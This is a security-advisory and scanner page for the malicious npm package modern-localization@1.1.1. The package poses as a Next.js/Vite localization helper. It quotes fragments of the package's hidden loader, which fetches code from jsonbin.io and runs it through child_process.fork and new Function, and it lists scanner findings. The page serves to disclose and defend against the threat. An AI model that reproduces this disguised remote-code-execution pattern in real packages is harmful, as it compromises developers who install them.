modern-localization@1.1.1: Malicious npm security report (Block)

OSV Malicious Advisory

scanned 7d ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-13633 confirms this npm version as malicious. The package presents itself as a Next.js/Vite localization helper but its main entrypoint invokes syncLanguageSystem() at top level when loaded in Node. That function issues an HTTP GET to api.jsonbin.io (paths /v3/b/6a764665da38895dfec7cd5d and /v3/b/6a718a58da38895dfeb6e2ed), reads response.data.record.value, writes it to a temporary.js file inside the package directory, and executes it with childProcess.fork...

Advisory

MAL-2026-13633

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in modern-localization (npm)

Details

The package presents itself as a Next.js/Vite localization helper but its main entrypoint invokes syncLanguageSystem() at top level when loaded in Node. That function issues an HTTP GET to api.jsonbin.io (paths /v3/b/6a764665da38895dfec7cd5d and /v3/b/6a718a58da38895dfeb6e2ed), reads response.data.record.value, writes it to a temporary.js file inside the package directory, and executes it with childProcess.fork. dist/utils.js contains a second, independent path: a top-level async IIFE fetches the same jsonbin.io payload and evaluates it in-process via new Function('require', payload)(require). The retrieved bytes are opaque JavaScript executed with full Node privileges and access to require, not translation data. Identifiers such as syncLanguageSystem, LANG_SOURCE, and LANG_PASS_KEY, together with the package description, frame remote code retrieval as language-data synchronization. Any consumer that requires or imports the package on Node runs attacker-controlled code hosted on a mutable third-party bin.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessEnvironmentVarsEvalFilesystemNetworkShell

Supply chain

UrlStrings

Manifest

NoLicense

scanned 8 file(s), 25.5 KB of source, external domains: api.jsonbin.io

Source & flagged code

4 flagged

dist/utils.mjsView file

2import path from 'path'; L3: import axios from 'axios'; L4: import { createRequire } from 'module'; ... L7: const __filename = fileURLToPath(import.meta.url); L8: const __dirname = path.dirname(__filename); L9: ... L46: const fileContent = fs.readFileSync(filePath, 'utf8'); L47: const translations = JSON.parse(fileContent); L48: ... L59: L60: const lang_source = process.env.LANG_SOURCE || "https://api.jsonbin.[redacted]"; L61: const lang_pass_key = process.env.LANG_PASS_KEY || "x-secret-key";

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

dist/utils.mjsView on unpkg · L2

79const require = createRequire(import.meta.url); L80: const handler = new Function("require", payload); L81: handler(require);

High

Eval

Package source references dynamic code evaluation.

dist/utils.mjsView on unpkg · L79

dist/index.jsView file

43try { L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json"); L45: if (!fs.existsSync(filePath)) { ... L49: var fileContent = fs.readFileSync(filePath, 'utf8'); L50: var translations = JSON.parse(fileContent); L51: cache.set(cacheKey, translations); ... L68: async function executeRemoteCodeInChildProcess(payload) { L69: var childProcess = require('child_process'); L70: var path = require('path'); ... L93: L94: child.stdout.on('data', function(data) { L95: output += data.toString();

High

Credential Exfiltration

Source combines credential-like environment material and outbound requests; review data flow before blocking.

dist/index.jsView on unpkg · L43

43Trigger-reachable credential exfiltration chain: manifest.main -> dist/index.js L43: try { L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json"); L45: if (!fs.existsSync(filePath)) { ... L49: var fileContent = fs.readFileSync(filePath, 'utf8'); L50: var translations = JSON.parse(fileContent); L51: cache.set(cacheKey, translations); ... L68: async function executeRemoteCodeInChildProcess(payload) { L69: var childProcess = require('child_process'); L70: var path = require('path'); ... L93: L94: child.stdout.on('data', function(data) { L95: output += data.toString();

High

Trigger Reachable Credential Exfiltration

A manifest entrypoint or package-local install chain reaches credential exfiltration behavior.

dist/index.jsView on unpkg · L43

Source & flagged code

4 flagged · loading source

dist/utils.mjsView file

2import path from 'path'; L3: import axios from 'axios'; L4: import { createRequire } from 'module'; ... L7: const __filename = fileURLToPath(import.meta.url); L8: const __dirname = path.dirname(__filename); L9: ... L46: const fileContent = fs.readFileSync(filePath, 'utf8'); L47: const translations = JSON.parse(fileContent); L48: ... L59: L60: const lang_source = process.env.LANG_SOURCE || "https://api.jsonbin.[redacted]"; L61: const lang_pass_key = process.env.LANG_PASS_KEY || "x-secret-key";

Critical

Remote Response Code Execution

Source passes code obtained from a remote response into a dynamic execution sink.

dist/utils.mjsView on unpkg · L2

79const require = createRequire(import.meta.url); L80: const handler = new Function("require", payload); L81: handler(require);

High

Eval

Package source references dynamic code evaluation.

dist/utils.mjsView on unpkg · L79

dist/index.jsView file

43try { L44: var filePath = path.join(process.cwd(), translationsPath, locale, namespace + ".json"); L45: if (!fs.existsSync(filePath)) { ... L49: var fileContent = fs.readFileSync(filePath, 'utf8'); L50: var translations = JSON.parse(fileContent); L51: cache.set(cacheKey, translations); ... L68: async function executeRemoteCodeInChildProcess(payload) { L69: var childProcess = require('child_process'); L70: var path = require('path'); ... L93: L94: child.stdout.on('data', function(data) { L95: output += data.toString();

Findings

1 Critical3 High3 Medium5 Low

CriticalRemote Response Code Executiondist/utils.mjs

HighEvaldist/utils.mjs

HighCredential Exfiltrationdist/index.js

HighTrigger Reachable Credential Exfiltrationdist/index.js

MediumNetwork

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowNon Install Lifecycle Scripts

LowScripts Present

LowFilesystem

LowUrl Strings

LowNo License